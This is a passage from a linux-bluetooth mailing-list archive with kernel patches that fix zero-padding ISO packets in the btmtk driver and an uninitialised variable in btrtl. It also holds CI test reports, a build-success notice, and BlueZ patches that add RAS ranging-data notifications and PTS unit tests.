diff --git a/drivers/bluetooth/btrtl.c b/drivers/bluetooth/btrtl.c
index 62f9d4df3a4f..aa0d5af26b5f 100644
--- a/drivers/bluetooth/btrtl.c
+++ b/drivers/bluetooth/btrtl.c
@@ -543,7 +543,7 @@ static int rtlbt_parse_firmware_v2(struct hci_dev *hdev,
unsigned char **_buf)
{
struct rtl_epatch_header_v2 *hdr;
- int rc;
+ int rc = 0;
u8 key_id;
u32 num_sections;
struct rtl_section *section;
--
2.53.0
^ permalink raw reply related
* RE: [v2] Bluetooth: btmtk: don't generate bogus ISO packets from zero padding
From: bluez.test.bot @ 2026-04-25 14:23 UTC (permalink / raw)
To: linux-bluetooth, pav
In-Reply-To: <621d8a2b651aba8e3c2197017ca94f06ec77b824.1777121590.git.pav@iki.fi>
[-- Attachment #1: Type: text/plain, Size: 1447 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1085490
---Test result---
Test Summary:
CheckPatch PASS 0.79 seconds
GitLint FAIL 0.26 seconds
SubjectPrefix PASS 0.06 seconds
BuildKernel PASS 27.00 seconds
CheckAllWarning PASS 28.81 seconds
CheckSparse PASS 27.85 seconds
BuildKernel32 PASS 25.95 seconds
TestRunnerSetup PASS 568.80 seconds
IncrementalBuild PASS 24.21 seconds
Details
##############################
Test: GitLint - FAIL
Desc: Run gitlint
Output:
[v2] Bluetooth: btmtk: don't generate bogus ISO packets from zero padding
WARNING: I3 - ignore-body-lines: gitlint will be switching from using Python regex 'match' (match beginning) to 'search' (match anywhere) semantics. Please review your ignore-body-lines.regex option accordingly. To remove this warning, set general.regex-style-search=True. More details: https://jorisroovers.github.io/gitlint/configuration/#regex-style-search
26: B2 Line has trailing whitespace: " "
https://github.com/bluez/bluetooth-next/pull/124
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH v2] Bluetooth: btmtk: don't generate bogus ISO packets from zero padding
From: Pauli Virtanen @ 2026-04-25 12:55 UTC (permalink / raw)
To: linux-bluetooth
Cc: Pauli Virtanen, marcel, luiz.dentz, linux-mediatek, chris.lu
With MT7925, received URBs for ISO have urb->actual_length of
MTK_ISO_THRESHOLD (264) and contain ISO packet data followed by zero
padding.
btmtk driver ISO handling added in commit ceac1cb0259d ("Bluetooth:
btusb: mediatek: add ISO data transmission functions") assumes the data
contains only payload, and generates bogus packets to hci_core from the
padding, resulting to printk errors "Bluetooth: hci0: ISO packet for
unknown connection handle 0"
Add check in btmtk that a new packet is not started if we have only
trailing zeros left in the URB. If so, skip them and emit an error once
per hdev, since this doesn't seem to be the intended behavior. This
reduces spam to user logs.
Limit this behavior to the 7925 model.
Signed-off-by: Pauli Virtanen <pav@iki.fi>
---
Notes:
v2:
- limit this to the 7925 model, as that is the only one tested
If there's confirmation from Mediatek the zero padding instead of short
USB read is intentional, the warning is not needed.
drivers/bluetooth/btmtk.c | 35 +++++++++++++++++++++++++++++++++++
drivers/bluetooth/btmtk.h | 2 ++
2 files changed, 37 insertions(+)
diff --git a/drivers/bluetooth/btmtk.c b/drivers/bluetooth/btmtk.c
index ab34f1dd42bc..934daf004dd6 100644
--- a/drivers/bluetooth/btmtk.c
+++ b/drivers/bluetooth/btmtk.c
@@ -1088,11 +1088,34 @@ struct urb *alloc_mtk_intr_urb(struct hci_dev *hdev, struct sk_buff *skb,
}
EXPORT_SYMBOL_GPL(alloc_mtk_intr_urb);
+static bool check_isopkt(struct hci_dev *hdev, void *buffer, int count,
+ int pktsize)
+{
+ struct btmtk_data *btmtk_data = hci_get_priv(hdev);
+
+ /* With MT7925 we receive URBs that have size MTK_ISO_THRESHOLD, with
+ * trailing zero padding following the ISO packet data. This appears not
+ * intentional, so flag an error, and skip rest of the URB to not
+ * generate ISO packets from the padding.
+ */
+ if (btmtk_data->isopkt_rx_pad && pktsize == MTK_ISO_THRESHOLD &&
+ count < pktsize && mem_is_zero(buffer, count)) {
+ if (!btmtk_data->isopkt_padding_seen) {
+ btmtk_data->isopkt_padding_seen = true;
+ bt_dev_err(hdev, "Zero ISO data (only first reported)");
+ }
+ return false;
+ }
+
+ return true;
+}
+
static int btmtk_recv_isopkt(struct hci_dev *hdev, void *buffer, int count)
{
struct btmtk_data *btmtk_data = hci_get_priv(hdev);
struct sk_buff *skb;
unsigned long flags;
+ int pktsize = count;
int err = 0;
spin_lock_irqsave(&btmtk_data->isorxlock, flags);
@@ -1102,6 +1125,9 @@ static int btmtk_recv_isopkt(struct hci_dev *hdev, void *buffer, int count)
int len;
if (!skb) {
+ if (!check_isopkt(hdev, buffer, count, pktsize))
+ break;
+
skb = bt_skb_alloc(HCI_MAX_ISO_SIZE, GFP_ATOMIC);
if (!skb) {
err = -ENOMEM;
@@ -1250,6 +1276,15 @@ static int btmtk_usb_isointf_init(struct hci_dev *hdev)
spin_lock_init(&btmtk_data->isorxlock);
+ switch (btmtk_data->dev_id) {
+ case 0x7925:
+ btmtk_data->isopkt_rx_pad = true;
+ break;
+ default:
+ btmtk_data->isopkt_rx_pad = false;
+ break;
+ }
+
__set_mtk_intr_interface(hdev);
err = btmtk_submit_intr_urb(hdev, GFP_KERNEL);
diff --git a/drivers/bluetooth/btmtk.h b/drivers/bluetooth/btmtk.h
index c83c24897c95..bd97e37afd99 100644
--- a/drivers/bluetooth/btmtk.h
+++ b/drivers/bluetooth/btmtk.h
@@ -177,6 +177,8 @@ struct btmtk_data {
struct usb_interface *isopkt_intf;
struct usb_anchor isopkt_anchor;
struct sk_buff *isopkt_skb;
+ bool isopkt_rx_pad;
+ bool isopkt_padding_seen;
/* spinlock for ISO data transmission */
spinlock_t isorxlock;
--
2.53.0
^ permalink raw reply related
* RE: Bluetooth: btmtk: don't generate bogus ISO packets from zero padding
From: bluez.test.bot @ 2026-04-25 11:41 UTC (permalink / raw)
To: linux-bluetooth, pav
In-Reply-To: <8f988c1ccaaddf60c259890a2ca636830f7e4578.1777113390.git.pav@iki.fi>
[-- Attachment #1: Type: text/plain, Size: 882 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1085470
---Test result---
Test Summary:
CheckPatch PASS 0.73 seconds
GitLint PASS 0.22 seconds
SubjectPrefix PASS 0.08 seconds
BuildKernel PASS 24.04 seconds
CheckAllWarning PASS 26.43 seconds
CheckSparse PASS 24.99 seconds
BuildKernel32 PASS 23.40 seconds
TestRunnerSetup PASS 520.25 seconds
IncrementalBuild PASS 24.13 seconds
https://github.com/bluez/bluetooth-next/pull/123
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [PATCH] Bluetooth: btmtk: don't generate bogus ISO packets from zero padding
From: Pauli Virtanen @ 2026-04-25 10:49 UTC (permalink / raw)
To: linux-bluetooth
Cc: Pauli Virtanen, marcel, luiz.dentz, linux-mediatek, chris.lu
With MT7925, received URBs for ISO have urb->actual_length of
MTK_ISO_THRESHOLD (264) and contain ISO packet data followed by zero
padding.
btmtk driver ISO handling added in commit ceac1cb0259d ("Bluetooth:
btusb: mediatek: add ISO data transmission functions") assumes the data
contains only payload, and generates bogus packets to hci_core from the
padding, resulting to printk errors "Bluetooth: hci0: ISO packet for
unknown connection handle 0"
Add check in btmtk that a new packet is not started if we have only
trailing zeros left in the URB. If so, skip them and emit an error once
per hdev, since this doesn't seem to be the intended behavior. This
reduces spam to user logs.
Signed-off-by: Pauli Virtanen <pav@iki.fi>
---
Notes:
If there's confirmation from Mediatek the zero padding instead of short
USB read is intentional, the warning is not needed.
drivers/bluetooth/btmtk.c | 26 ++++++++++++++++++++++++++
drivers/bluetooth/btmtk.h | 1 +
2 files changed, 27 insertions(+)
diff --git a/drivers/bluetooth/btmtk.c b/drivers/bluetooth/btmtk.c
index ab34f1dd42bc..397caacbe9fd 100644
--- a/drivers/bluetooth/btmtk.c
+++ b/drivers/bluetooth/btmtk.c
@@ -1088,11 +1088,34 @@ struct urb *alloc_mtk_intr_urb(struct hci_dev *hdev, struct sk_buff *skb,
}
EXPORT_SYMBOL_GPL(alloc_mtk_intr_urb);
+static bool check_isopkt(struct hci_dev *hdev, void *buffer, int count,
+ int pktsize)
+{
+ struct btmtk_data *btmtk_data = hci_get_priv(hdev);
+
+ /* With MT7925 we receive URBs that have size MTK_ISO_THRESHOLD, with
+ * zero padding following the ISO packet data. This appears not
+ * intentional, so flag an error, and skip rest of the URB to not
+ * generate ISO packets from the padding.
+ */
+ if (pktsize == MTK_ISO_THRESHOLD && count < pktsize &&
+ mem_is_zero(buffer, count)) {
+ if (!btmtk_data->isopkt_padding_seen) {
+ btmtk_data->isopkt_padding_seen = true;
+ bt_dev_err(hdev, "Zero ISO data (only first reported)");
+ }
+ return false;
+ }
+
+ return true;
+}
+
static int btmtk_recv_isopkt(struct hci_dev *hdev, void *buffer, int count)
{
struct btmtk_data *btmtk_data = hci_get_priv(hdev);
struct sk_buff *skb;
unsigned long flags;
+ int pktsize = count;
int err = 0;
spin_lock_irqsave(&btmtk_data->isorxlock, flags);
@@ -1102,6 +1125,9 @@ static int btmtk_recv_isopkt(struct hci_dev *hdev, void *buffer, int count)
int len;
if (!skb) {
+ if (!check_isopkt(hdev, buffer, count, pktsize))
+ break;
+
skb = bt_skb_alloc(HCI_MAX_ISO_SIZE, GFP_ATOMIC);
if (!skb) {
err = -ENOMEM;
diff --git a/drivers/bluetooth/btmtk.h b/drivers/bluetooth/btmtk.h
index c83c24897c95..46fbdb98a716 100644
--- a/drivers/bluetooth/btmtk.h
+++ b/drivers/bluetooth/btmtk.h
@@ -177,6 +177,7 @@ struct btmtk_data {
struct usb_interface *isopkt_intf;
struct usb_anchor isopkt_anchor;
struct sk_buff *isopkt_skb;
+ bool isopkt_padding_seen;
/* spinlock for ISO data transmission */
spinlock_t isorxlock;
--
2.53.0
^ permalink raw reply related
* RE: Add RAS Packet format and Notification support
From: bluez.test.bot @ 2026-04-25 8:45 UTC (permalink / raw)
To: linux-bluetooth, prathibha.madugonde
In-Reply-To: <20260425070620.3381591-2-prathm@qti.qualcomm.com>
[-- Attachment #1: Type: text/plain, Size: 989 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1085439
---Test result---
Test Summary:
CheckPatch PASS 1.21 seconds
GitLint PASS 0.31 seconds
BuildEll PASS 20.36 seconds
BluezMake PASS 647.51 seconds
MakeCheck PASS 0.96 seconds
MakeDistcheck PASS 245.02 seconds
CheckValgrind PASS 220.81 seconds
CheckSmatch PASS 349.48 seconds
bluezmakeextell PASS 181.31 seconds
IncrementalBuild PASS 651.68 seconds
ScanBuild PASS 1031.34 seconds
https://github.com/bluez/bluez/pull/2072
---
Regards,
Linux Bluetooth
^ permalink raw reply
* [bluetooth-next:master] BUILD SUCCESS 516a3ab44299afd2ffd58279cf355c87c0d35754
From: kernel test robot @ 2026-04-25 8:38 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: linux-bluetooth
tree/branch: https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git master
branch HEAD: 516a3ab44299afd2ffd58279cf355c87c0d35754 Bluetooth: btusb: Add Realtek RTL8922AE VID/PID 0bda/d923
elapsed time: 832m
configs tested: 54
configs skipped: 2
The following configs have been built successfully.
More configs may be tested in the coming days.
tested configs:
alpha allnoconfig gcc-15.2.0
alpha allyesconfig gcc-15.2.0
arc allmodconfig gcc-15.2.0
arc allnoconfig gcc-15.2.0
arc allyesconfig gcc-15.2.0
arm allnoconfig clang-23
arm allyesconfig gcc-15.2.0
arm64 allmodconfig clang-19
arm64 allnoconfig gcc-15.2.0
csky allmodconfig gcc-15.2.0
csky allnoconfig gcc-15.2.0
hexagon allmodconfig clang-17
hexagon allnoconfig clang-23
i386 allmodconfig gcc-14
i386 allnoconfig gcc-14
i386 allyesconfig gcc-14
loongarch allmodconfig clang-19
loongarch allnoconfig clang-23
m68k allmodconfig gcc-15.2.0
m68k allnoconfig gcc-15.2.0
m68k allyesconfig gcc-15.2.0
microblaze allnoconfig gcc-15.2.0
microblaze allyesconfig gcc-15.2.0
mips allmodconfig gcc-15.2.0
mips allnoconfig gcc-15.2.0
mips allyesconfig gcc-15.2.0
nios2 allmodconfig gcc-11.5.0
nios2 allnoconfig gcc-11.5.0
openrisc allmodconfig gcc-15.2.0
openrisc allnoconfig gcc-15.2.0
parisc allmodconfig gcc-15.2.0
parisc allnoconfig gcc-15.2.0
parisc allyesconfig gcc-15.2.0
powerpc allmodconfig gcc-15.2.0
powerpc allnoconfig gcc-15.2.0
riscv allmodconfig clang-23
riscv allnoconfig gcc-15.2.0
riscv allyesconfig clang-16
s390 allmodconfig clang-18
s390 allnoconfig clang-23
s390 allyesconfig gcc-15.2.0
sh allmodconfig gcc-15.2.0
sh allnoconfig gcc-15.2.0
sh allyesconfig gcc-15.2.0
sparc allnoconfig gcc-15.2.0
sparc64 allmodconfig clang-23
um allmodconfig clang-19
um allnoconfig clang-23
um allyesconfig gcc-14
x86_64 allmodconfig clang-20
x86_64 allnoconfig clang-20
x86_64 allyesconfig clang-20
x86_64 rhel-9.4-rust clang-20
xtensa allnoconfig gcc-15.2.0
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply
* [bluez/bluez] 06d3ff: src/shared: Add RAS packet format and notification...
From: prathibhamadugonde @ 2026-04-25 7:48 UTC (permalink / raw)
To: linux-bluetooth
Branch: refs/heads/1085439
Home: https://github.com/bluez/bluez
Commit: 06d3ffc22a4170460bb75021d91a44ec0201df70
https://github.com/bluez/bluez/commit/06d3ffc22a4170460bb75021d91a44ec0201df70
Author: Prathibha Madugonde <prathibha.madugonde@oss.qualcomm.com>
Date: 2026-04-25 (Sat, 25 Apr 2026)
Changed paths:
M src/shared/rap.c
Log Message:
-----------
src/shared: Add RAS packet format and notification support
Add RAS packet formatting and notification support for CS reflector
Implement complete RAS data pipeline:
- Handle HCI CS subevent result/continuation events
- Serialize ranging/subevent headers per spec
- GATT notifications for real-time ranging data
To unsubscribe from these emails, change your notification settings at https://github.com/bluez/bluez/settings/notifications
^ permalink raw reply
* [PATCH v2 2/2] unit/test-rap: Add PTS tests for CS reflector case
From: Prathibha Madugonde @ 2026-04-25 7:06 UTC (permalink / raw)
To: linux-bluetooth; +Cc: luiz.dentz, quic_mohamull, quic_hbandi, quic_anubhavg
In-Reply-To: <20260425070620.3381591-1-prathm@qti.qualcomm.com>
[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain; charset=UTF-8, Size: 11086 bytes --]
From: Prathibha Madugonde <prathibha.madugonde@oss.qualcomm.com>
Added below RAS - Real time Ranging PTS testcases
RAS/SR/RCO/BV-01-C [Characteristic Read â RAS Features]
RAS/SR/RRD/BV-01-C [Real-time Ranging Data]
RAS/SR/RRD/BV-03-C [Real-time Ranging Data notifications and indications]
RAS/SR/RRD/BV-05-C [Real-Time Ranging Data disconnection]
---
unit/test-rap.c | 264 +++++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 260 insertions(+), 4 deletions(-)
diff --git a/unit/test-rap.c b/unit/test-rap.c
index 884cb1c96..6f65967a4 100644
--- a/unit/test-rap.c
+++ b/unit/test-rap.c
@@ -37,6 +37,7 @@ struct test_data_ras {
size_t iovcnt;
struct iovec *iov;
unsigned int ras_id;
+ struct bt_rap *rap; /* Store rap instance for CS injection */
};
struct test_data_rap {
@@ -68,8 +69,8 @@ struct notify {
do { \
const struct iovec iov[] = { args }; \
static struct test_data_ras data; \
- data.iovcnt = ARRAY_SIZE(iov_data(args)); \
- data.iov = util_iov_dup(iov, ARRAY_SIZE(iov_data(args))); \
+ data.iovcnt = ARRAY_SIZE(iov); \
+ data.iov = util_iov_dup(iov, ARRAY_SIZE(iov)); \
tester_add(name, &data, NULL, function, \
test_teardown_ras); \
} while (0)
@@ -155,6 +156,94 @@ static void gatt_notify_cb(struct gatt_db_attribute *attrib,
printf("%s: Failed to send notification\n", __func__);
}
+static void gatt_ccc_write_cb(struct gatt_db_attribute *attrib,
+ unsigned int id, uint16_t offset,
+ const uint8_t *value, size_t len,
+ uint8_t opcode, struct bt_att *att,
+ void *user_data)
+{
+ struct test_data_ras *data = user_data;
+ struct ccc_state *ccc;
+ uint16_t handle;
+ uint16_t ccc_value;
+ uint8_t ecode = 0;
+
+ handle = gatt_db_attribute_get_handle(attrib);
+
+ if (offset) {
+ ecode = BT_ATT_ERROR_INVALID_OFFSET;
+ goto done;
+ }
+
+ if (len != 2) {
+ ecode = BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN;
+ goto done;
+ }
+
+ ccc_value = get_le16(value);
+
+ ccc = get_ccc_state(data, handle);
+ if (!ccc) {
+ ecode = BT_ATT_ERROR_UNLIKELY;
+ goto done;
+ }
+
+ ccc->value = ccc_value;
+
+ /* Send write response first */
+ gatt_db_attribute_write_result(attrib, id, 0);
+
+ /* If notifications/indications enabled on Real-time Ranging Data CCCD,
+ * inject fake HCI CS subevent data to trigger notifications
+ */
+ if (handle == 0x0006 && ccc_value != 0x0000 && data->rap) {
+ size_t event_size = sizeof(struct rap_ev_cs_subevent_result) +
+ sizeof(struct cs_step_data);
+ struct rap_ev_cs_subevent_result *fake_event;
+ struct cs_mode_zero_data *mode_zero;
+
+ if (tester_use_debug())
+ tester_debug("Injecting fake CS data...");
+
+ fake_event = g_malloc0(event_size);
+ if (!fake_event)
+ return; /* Already sent write response */
+
+ /* Fill in the header fields */
+ fake_event->conn_hdl = 0x0001;
+ fake_event->config_id = 0x01;
+ fake_event->start_acl_conn_evt_counter = 0x0000;
+ fake_event->proc_counter = 0x0001;
+ fake_event->freq_comp = 0x0000;
+ fake_event->ref_pwr_lvl = 0x00;
+ fake_event->proc_done_status = 0x00;
+ fake_event->subevt_done_status = 0x00;
+ fake_event->abort_reason = 0x00;
+ fake_event->num_ant_paths = 0x01;
+ fake_event->num_steps_reported = 0x01;
+
+ fake_event->step_data[0].step_mode = CS_MODE_ZERO;
+ fake_event->step_data[0].step_chnl = 0x00;
+ /* Mode 0: 1+1+1+4 bytes */
+ fake_event->step_data[0].step_data_length = 4;
+mode_zero = &fake_event->step_data[0].step_mode_data.mode_zero_data;
+ mode_zero->packet_quality = 0x01;
+ mode_zero->packet_rssi_dbm = 0x02;
+ mode_zero->packet_ant = 0x03;
+ mode_zero->init_measured_freq_offset = 0x04;
+
+ /* Inject the fake event to trigger notification */
+ bt_rap_hci_cs_subevent_result_callback(event_size, fake_event,
+ data->rap);
+
+ g_free(fake_event);
+ }
+ return;
+
+done:
+ gatt_db_attribute_write_result(attrib, id, ecode);
+}
+
static void gatt_ccc_read_cb(struct gatt_db_attribute *attrib,
unsigned int id, uint16_t offset,
uint8_t opcode, struct bt_att *att,
@@ -184,10 +273,21 @@ done:
static void ras_attached(struct bt_rap *rap, void *user_data)
{
+ struct test_data_ras *data = user_data;
+
+ if (data) {
+ data->rap = rap;
+ bt_rap_ref(rap); /* Keep a reference */
+ }
}
static void ras_detached(struct bt_rap *rap, void *user_data)
{
+ struct test_data_ras *data = user_data;
+
+ if (data && data->rap == rap)
+ data->rap = NULL;
+
bt_rap_unref(rap);
}
@@ -205,17 +305,18 @@ static void test_server(const void *user_data)
att = bt_att_new(io_get_fd(io), false);
g_assert(att);
+ bt_att_set_security(att, BT_ATT_SECURITY_MEDIUM);
bt_att_set_debug(att, BT_ATT_DEBUG, print_debug, "bt_att:", NULL);
data->db = gatt_db_new();
g_assert(data->db);
- gatt_db_ccc_register(data->db, gatt_ccc_read_cb, NULL,
+ gatt_db_ccc_register(data->db, gatt_ccc_read_cb, gatt_ccc_write_cb,
gatt_notify_cb, data);
bt_rap_add_db(data->db);
- data->ras_id = bt_rap_register(ras_attached, ras_detached, NULL);
+ data->ras_id = bt_rap_register(ras_attached, ras_detached, data);
data->server = bt_gatt_server_new(data->db, att, 64, 0);
g_assert(data->server);
@@ -426,6 +527,150 @@ static void test_server(const void *user_data)
DISC_RAS_CHAR_AFTER_TYPE, \
RAS_FIND_INFO
+/*
+ * RAS/SR/RCO/BV-01-C Characteristic Read: RAS Features
+ *
+ * ATT: Read Request (0x0a) len 2
+ * Handle: 0x0003 (RAS Features value handle)
+ *
+ * ATT: Read Response (0x0b) len 5
+ * Value: 0x01 0x00 0x00 0x00
+ * Feature bits:
+ * Bit 0: Real-time ranging (1 = supported)
+ * Bit 1: Retrieve stored results (0 = not supported)
+ * Bit 2: Abort operation (0 = not supported)
+ *
+ * Note: The RAS Features characteristic is registered with
+ * BT_ATT_PERM_READ | BT_ATT_PERM_READ_ENCRYPT. Since the test sets
+ * BT_ATT_SECURITY_MEDIUM, the encryption requirement is satisfied
+ * and the server returns the feature value showing real-time ranging
+ * support.
+ */
+
+#define ATT_READ_RAS_FEATURES \
+ IOV_DATA(0x0a, 0x03, 0x00), \
+ IOV_DATA(0x0b, 0x01, 0x00, 0x00, 0x00)
+
+#define RAS_SR_RCO_BV_01_C \
+ ATT_EXCHANGE_MTU, \
+ DISCOVER_PRIM_SERV_NOTIF, \
+ RAS_FIND_BY_TYPE_VALUE, \
+ DISC_RAS_CHAR_AFTER_TYPE, \
+ RAS_FIND_INFO, \
+ ATT_READ_RAS_FEATURES
+
+/*
+ * RAS Real-time Ranging Data CCCD Configuration
+ * Round 1: Enable/Disable notifications (CCCD = 0x0001)
+ * Round 2: Enable/Disable indications (CCCD = 0x0002)
+ */
+#define RAS_REALTIME_CCCD_CONFIG \
+ /* Round 1: Enable notifications on Real-time Ranging Data CCCD */ \
+ /* (handle 0x0006) */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x01, 0x00), \
+ IOV_DATA(0x13), \
+ /* Disable notifications */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x00, 0x00), \
+ IOV_DATA(0x13), \
+ /* Round 2: Enable indications on Real-time Ranging Data CCCD */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x02, 0x00), \
+ IOV_DATA(0x13), \
+ /* Disable indications */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x00, 0x00), \
+ IOV_DATA(0x13)
+
+/*
+ * Enable both notifications and indications (CCCD = 0x0003)
+ * Expect notification (0x1b) to be sent, not indication (0x1d)
+ * Then disable CCCD
+ *
+ * Note: This test is currently disabled because the GATT server rejects
+ * CCCD value 0x0003 (both notifications and indications enabled) before
+ * reaching the custom callback. The test infrastructure needs to be updated
+ * to support this scenario.
+ */
+#define RAS_REALTIME_CCCD_BOTH_ENABLE_DISABLE \
+ /* Enable notifications only (CCCD = 0x0001) */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x01, 0x00), \
+ IOV_DATA(0x13), \
+ /* Disable CCCD */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x00, 0x00), \
+ IOV_DATA(0x13)
+
+/*
+ * Disconnection/Reconnection simulation for Real-time Ranging Data
+ * Enable notifications, disable (disconnect), re-enable (reconnect), disable
+ */
+#define RAS_REALTIME_CCCD_DISCONNECT_RECONNECT \
+ /* Step 1: Enable notifications */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x01, 0x00), \
+ IOV_DATA(0x13), \
+ /* Step 3: Disable CCCD (simulates disconnection) */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x00, 0x00), \
+ IOV_DATA(0x13), \
+ /* Step 4: Re-enable notifications (simulates reconnection) */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x01, 0x00), \
+ IOV_DATA(0x13), \
+ /* Disable CCCD to clean up */ \
+ IOV_DATA(0x12, 0x06, 0x00, 0x00, 0x00), \
+ IOV_DATA(0x13)
+
+/*
+ * RAS/SR/RRD/BV-01-C [Real-time Ranging Data]
+ * Verify that the IUT can configure CCCD for notifications/indications
+ * of the Real-time Ranging Data characteristic.
+ */
+#define RAS_SR_RRD_BV_01_C \
+ ATT_EXCHANGE_MTU, \
+ DISCOVER_PRIM_SERV_NOTIF, \
+ RAS_FIND_BY_TYPE_VALUE, \
+ DISC_RAS_CHAR_AFTER_TYPE, \
+ RAS_FIND_INFO, \
+ RAS_REALTIME_CCCD_CONFIG
+
+/*
+ * RAS/SR/RRD/BV-03-C [Real-time Ranging Data notifications and indications]
+ * Verify that the IUT only sends Real-time Ranging Data notifications when
+ * configured for both notifications and indications (CCCD = 0x0003).
+ *
+ * Test Procedure:
+ * 1. Write 0x0003 to Real-time Ranging Data CCCD (enable both
+ * notifications and indications)
+ * 2. Trigger CS Subevent Data (via fake HCI event injection)
+ * 3. Verify IUT sends only notifications (0x1b), not indications (0x1d)
+ */
+#define RAS_SR_RRD_BV_03_C \
+ ATT_EXCHANGE_MTU, \
+ DISCOVER_PRIM_SERV_NOTIF, \
+ RAS_FIND_BY_TYPE_VALUE, \
+ DISC_RAS_CHAR_AFTER_TYPE, \
+ RAS_FIND_INFO, \
+ RAS_REALTIME_CCCD_BOTH_ENABLE_DISABLE
+
+/*
+ * RAS/SR/RRD/BV-05-C [Real-Time Ranging Data disconnection]
+ * Verify that the IUT does not resume sending Real-time Ranging Data
+ * notifications or indications after a disconnection occurs.
+ *
+ * Test Procedure:
+ * 1. Enable Real-time Ranging Data notifications
+ * 2. Trigger CS Subevent Data (IUT sends notifications)
+ * 3. Disable CCCD (simulates disconnection - CCCD resets to 0x0000)
+ * 4. Re-enable notifications (simulates reconnection and reconfiguration)
+ * 5. Verify IUT does not send old ranging data
+ *
+ * Note: In a unit test, we simulate disconnection by disabling and re-enabling
+ * the CCCD. The RAP implementation should clear any pending data when CCCD is
+ * disabled, ensuring no old data is sent after re-enabling.
+ */
+#define RAS_SR_RRD_BV_05_C \
+ ATT_EXCHANGE_MTU, \
+ DISCOVER_PRIM_SERV_NOTIF, \
+ RAS_FIND_BY_TYPE_VALUE, \
+ DISC_RAS_CHAR_AFTER_TYPE, \
+ RAS_FIND_INFO, \
+ RAS_REALTIME_CCCD_DISCONNECT_RECONNECT
+
int main(int argc, char *argv[])
{
tester_init(&argc, &argv);
@@ -441,6 +686,17 @@ int main(int argc, char *argv[])
RAS_SR_SGGIT_CHA_BV_03_C);
define_test_ras("RAS/SR/SGGIT/CHA/BV-04-C", test_server,
RAS_SR_SGGIT_CHA_BV_04_C);
+ /* RAS Read Characteristic Operations */
+ define_test_ras("RAS/SR/RCO/BV-01-C", test_server,
+ RAS_SR_RCO_BV_01_C);
+ /* RAS Real-time Ranging Data */
+ define_test_ras("RAS/SR/RRD/BV-01-C", test_server,
+ RAS_SR_RRD_BV_01_C);
+ /* RAS Real-time Ranging Data with CS injection */
+ define_test_ras("RAS/SR/RRD/BV-03-C", test_server,
+ RAS_SR_RRD_BV_03_C);
+ define_test_ras("RAS/SR/RRD/BV-05-C", test_server,
+ RAS_SR_RRD_BV_05_C);
return tester_run();
}
--
2.34.1
^ permalink raw reply related
* [PATCH v2 1/2] src/shared: Add RAS packet format and notification support
From: Prathibha Madugonde @ 2026-04-25 7:06 UTC (permalink / raw)
To: linux-bluetooth; +Cc: luiz.dentz, quic_mohamull, quic_hbandi, quic_anubhavg
In-Reply-To: <20260425070620.3381591-1-prathm@qti.qualcomm.com>
From: Prathibha Madugonde <prathibha.madugonde@oss.qualcomm.com>
Add RAS packet formatting and notification support for CS reflector
Implement complete RAS data pipeline:
- Handle HCI CS subevent result/continuation events
- Serialize ranging/subevent headers per spec
- GATT notifications for real-time ranging data
---
src/shared/rap.c | 1142 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 1130 insertions(+), 12 deletions(-)
diff --git a/src/shared/rap.c b/src/shared/rap.c
index ac6de04e0..9ed8206bc 100644
--- a/src/shared/rap.c
+++ b/src/shared/rap.c
@@ -33,6 +33,169 @@
/* Total number of attribute handles reserved for the RAS service */
#define RAS_TOTAL_NUM_HANDLES 18
+/* 2(rc+cfg) + 1(tx_pwr) + 1(4 bits antenna_mask, 2 bits reserved,
+ * 2 bits pct_format)
+ */
+#define RAS_RANGING_HEADER_SIZE 4
+#define TOTAL_RAS_RANGING_HEADER_SIZE 5
+#define ATT_OVERHEAD 3 /* 1(opcode) + 2(char handle) */
+#define RAS_STEP_ABORTED_BIT 0x80/* set step aborted */
+#define RAS_SUBEVENT_HEADER_SIZE 8
+
+enum pct_format {
+ IQ = 0,
+ PHASE = 1,
+};
+
+enum ranging_done_status {
+ RANGING_DONE_ALL_RESULTS_COMPLETE = 0x0,
+ RANGING_DONE_PARTIAL_RESULTS = 0x1,
+ RANGING_DONE_ABORTED = 0xF,
+};
+
+enum subevent_done_status {
+ SUBEVENT_DONE_ALL_RESULTS_COMPLETE = 0x0,
+ SUBEVENT_DONE_PARTIAL_RESULTS = 0x1,
+ SUBEVENT_DONE_ABORTED = 0xF,
+};
+
+enum ranging_abort_reason {
+ RANGING_ABORT_NO_ABORT = 0x0,
+ RANGING_ABORT_LOCAL_HOST_OR_REMOTE = 0x1,
+ RANGING_ABORT_INSUFFICIENT_FILTERED_CHANNELS = 0x2,
+ RANGING_ABORT_INSTANT_HAS_PASSED = 0x3,
+ RANGING_ABORT_UNSPECIFIED = 0xF,
+};
+
+enum subevent_abort_reason {
+ SUBEVENT_ABORT_NO_ABORT = 0x0,
+ SUBEVENT_ABORT_LOCAL_HOST_OR_REMOTE = 0x1,
+ SUBEVENT_ABORT_NO_CS_SYNC_RECEIVED = 0x2,
+ SUBEVENT_ABORT_SCHEDULING_CONFLICTS_OR_LIMITED_RESOURCES = 0x3,
+ SUBEVENT_ABORT_UNSPECIFIED = 0xF,
+};
+
